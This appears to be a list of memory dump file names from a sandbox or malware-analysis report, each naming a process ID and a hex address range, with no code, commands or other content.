memory/2524-580-0x0000000000800000-0x0000000000877000-memory.dmp
memory/2772-573-0x0000000000800000-0x0000000000877000-memory.dmp
memory/3284-575-0x0000000000800000-0x0000000000877000-memory.dmp
memory/3444-250-0x00007FF6BBF90000-0x00007FF6C051F000-memory.dmp
memory/3684-280-0x0000019CEA540000-0x0000019CEA55E000-memory.dmp
memory/3684-277-0x0000019CEA1F0000-0x0000019CEA20E000-memory.dmp
memory/3684-278-0x0000019CEA210000-0x0000019CEA2C2000-memory.dmp
memory/3684-279-0x0000019CE9FB0000-0x0000019CE9FBA000-memory.dmp
memory/4868-525-0x000001B9DB0C0000-0x000001B9DB5E8000-memory.dmp
memory/6136-503-0x000001843E760000-0x000001843E922000-memory.dmp
memory/6136-480-0x000001843E590000-0x000001843E5B4000-memory.dmp
memory/6136-479-0x000001843E590000-0x000001843E5BA000-memory.dmp
memory/6136-460-0x000001843E270000-0x000001843E322000-memory.dmp